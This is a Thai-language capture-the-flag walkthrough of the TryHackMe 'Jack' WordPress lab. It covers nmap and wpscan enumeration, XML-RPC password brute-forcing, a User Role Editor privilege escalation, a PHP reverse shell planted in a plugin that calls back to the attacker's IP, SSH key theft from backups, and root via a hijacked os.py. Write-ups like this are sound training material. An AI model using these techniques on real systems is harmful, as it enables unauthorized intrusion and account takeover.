JACK : TRY HACK ME Walkthrough

Datafarm
5 min readFeb 3, 2021

สวัสดีค่ะแฟนเพจทุกท่าน วันนี้ก็จะมาเขียน Walkthrough ให้อ่านกันนะคะ ซึ่งก็จะเป็น Lab ของทาง https://tryhackme.com โจทย์ที่เลือกมา ก็จะอยู่ในระดับ Difficulty (ที่มีใบ้) สำหรับ lab นี้เราก็จะต้อง Compromise Web WordPress หา flag User และ root นะคะ

หลังจากที่เราได้ IP ของเครื่อง Jack และเชื่อมต่อ VPN เรียบร้อยแล้ว เราก็มาเริ่ม scan หา service ที่เปิดให้ใช้งานกันก่อนเลย (อย่าลืมเพิ่ม jack.thm ในไฟล์ hosts นะะะ)

$nmap -sC -sV 10.10.47.158

จากผลของ nmap เราก็จะเห็นได้ว่ามี port ที่เปิดใช้งานอยู่ 2 คือ port 22 (ssh) และ port 80 (http) นะคะ แน่นอน step ต่อไปเราก็จะลองเข้าไปดูที่หน้าเว็บไซต์ที่เปิดให้บริการอยู่

เราก็จะพบหน้าเพจของ “Jack Personal Site” ซึ่งก็เป็นหน้าเว็บไซต์พื้นๆเลยนะคะ ดูแล้วก็ไม่น่าจะมีอะไร ทีนี้ปกติแล้ว WordPress จะมีหน้า Default สำหรับ Login อยู่ ก็คือหน้า /wp-admin/ นั่นเอง และแอดคิดว่าจะเข้าถึงได้เลยนะ ถ้าดูจาก nmap ซึ่งก็เป็นไปตามนั้น

จากโจทย์ก็ใบ้มาเป็นนัยๆ แล้วแหละว่า lab นี้คือ WordPress นะ ผู้เขียนก็จะทำการ enumerate ด้วยwpscan ต่อเลยละกัน

$wpscan --url http://jack.thm -e

ผลการ enumerate เราก็จะพบว่ามีการเปิดใช้งาน XML-RPC (ซึ่งมีช่องโหว่ DDoS Attack XMLRPC และ Brute Force Attack ด้วยนะ) เราได้ทราบ Version ของ WordPress ด้วย นั่นก็คือ WordPress version 5.3.2

และ และ และ ยังเจอ user ที่ใช้ login อีกด้วยยย

เมื่อเราได้รู้แล้วว่ามี user ในระบบ 3 user และยังมีการที่เปิดใช้งาน XML-RPC ด้วย ดังนี้เราจะใช้ประโยชน์จากช่องโหว่ xmlrpc ทำการ Brute Force password ของ user ทั้งหมด

$wpscan -U users.txt -P /usr/share/wordlists/mywordlist.txt — url http://jack.thm

ผลการ brute-force ของเรา ก็ทำให้เราได้ password มาแล้วว เราไปลอง login กันเยย

หลังจากที่เราได้ user และ password มา login เข้าระบบ ซึ่งแน่นอนว่ามันคือสิทธิ์ user และเราคงต้องทำการยกระดับสิทธิ์กันต่อแหละ (Lap ใบ้มาแล้วววนี่)

ไหนลองดูหน่อยว่ามี Exploit อะไรบ้างน้าาาา

$searchsploit wordpress privilege

ซึ่งจาก list ทั้งหมด และผลที่ได้มาจากการ enumerate ก็ไม่มีช่องโหว่ของ plugin ด้วยสินะ แต่ผู้เขียนเรียนสถิติมาได้ A ผู้เขียนมองว่า มันต้องเกี่ยวกับ User แน่ๆ แหละ เพราะเว็บไซต์ที่เราเข้าไปนั้นเป็น blog ธรรมดาเองงง จะใช้ plugin UserPro เลยไม่ใช่แน่ๆ จากการตัด choice ของผู้เขียนบวกกับประสบการณ์การทำเว็บไซต์ wordpress นั้น ผู้เขียนจะเลือก User Role Editor นี่แหละจ้า

$searchsploit -m 44595

และลองเข้ามาดูการทำงานของ exploit นี้กัน ซึ่งการทำงานของมันก็คือการส่ง POST Request ที่มีการการกำหนด users privileges โดยการใช้ ure_other_roles แค่นั้นเองง เดี๋ยวเราลองเอา burp suite มา intercept ดูสิ๊

ผู้เขียนกลับไปที่ระบบหลังบ้านอีกครัง ลองกดเปลี่ยนสี Theme และกด Update Profile

กลับมาที่ burp มาดู post request ที่เรา intercept ไว้ ลองเทียบ body parameters กับ exploit code ที่เราได้จาก searchsploit ก่อนหน้านี้ เห็นอะไรไหมคะ…ว่าไม่มีการกำหนด ure_other_roles ไว้

ผู้เขียนทำการเพิ่ม &ure_other_roles เข้าไปก่อน forward

เมื่อเรากด forward ผลปรากฏว่าเราได้สิทธ์ administrator มาแล้ววว

ลองกดไปที่เมนู plugin จะเห็น plugin User Role Editor version 4.24 ที่มีช่องโหว่อยู่นั่นเอง ทีนี้เราก็ต้องมาหา flag กันต่อโดยการเพิ่ม reverse shell

ผู้เขียนจะทำการใส่ reverse shell โดยอาศัย plugin Akismet นี่แหละ (หรือตัวอื่นก็ได้นะเอาจริงๆแล้ว)

<?php $sock = fsockopen(“10.4.11.172”,5555); $proc = proc_open(“/bin/sh -i”, array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>

หลังจากกด update อย่าลืมไปตั้งค่าที่ netcat listener ที่เครื่อง host ด้วยนะ แล้วกด activate plugin เลยยย

หลังจากที่กด Activate เรากลับมาดูที่เครื่อง host ตอนนี้เราก็ได้ shell มาเรียบร้อยแล้ว

เมื่อเราได้ shell มาแล้ว ทีนี้เราก็ flag ของ users ก่อนเลย

$ find / -type f -name user.txt -ls 2>/dev/null

เราก็จะรู้ path ของ user.txt แล้วนั่นก็คือ path /home/jack เมื่อเราไปที่ path นั้นเราก็ได้ flag แรกมาแล้ววววว วู้วๆๆๆ แต่มันยังไม่จบนะสิ โจทย์ของ jack คือเราต้องหา flag root ด้วย !! เดี๋ยวเราลองมา reminder หน่อยยย

ความน่าสนใจของ reminder คือ หาโฟลเดอร์ backups นี่แหละ ซึ่งปกติแล้วจะอยู่ที่ /var/backups

เมื่อเราเข้าไปที่ /var/backups เราก็พบว่ามีไฟล์ id_rsa ที่จะใช้ SSH เข้าเครื่อง jack และมันก็หวานปากที่เป็น full permissions เลยย อิอิ

ซึ่งเราจะ cat file ออกมาและ copy มาไว้บนเครื่องเราก่อน

จากนั้นก็ลอง SSH ไปที่เครื่อง jack กันต่อเลย

เมื่อเราเข้าเครื่อง Jack ได้แล้ว เราก็ต้องทำการยกระดับสิทธิ์ให้เป็น root เพื่ออ่าน flag root.txt กันต่อ ผู้เขียนจะใช้ pspy64 เพื่อ enumerate ดู process กันต่อ

ที่เครื่อง host ของเรา เดี๋ยวเราจะ run python server ทิ้งไว้

$python3 -m http.server 80

ส่วนเครื่อง jack เราก็จะทำการ download pspy64 มา

และ run run run

เมื่อเราเรียกใช้งาน pspy64 เราก็จะพบว่ามีการเรียกใช้งาน python script ทุกๆ 2 นาที

เมื่อเราเข้าไปที่ /opt/statuscheck/

และลอง cat ไฟล์ checker.py เราจะพบว่ามีการเรียกใช้ OS Module แค่อย่างเดียว

ทีนี้เราต้องหา path ที่รัน os module

$ find / -type f -name os.py -ls 2>/dev/null

ทีนี้เรารู้แล้ววว่าใช้ python2.7

ใส่ payload เพื่อให้เครื่อง jack ติดต่อกลับมา (Reverse shell) แล้วรอ python script ทำงาน 2 นาที

กลับมาดูที่เครื่อง host เราได้ root shell มาแล้ว และเจอ root.txt มาเรียบร้อย ส่งคำตอบ!! บะ บาย

--

--

No responses yet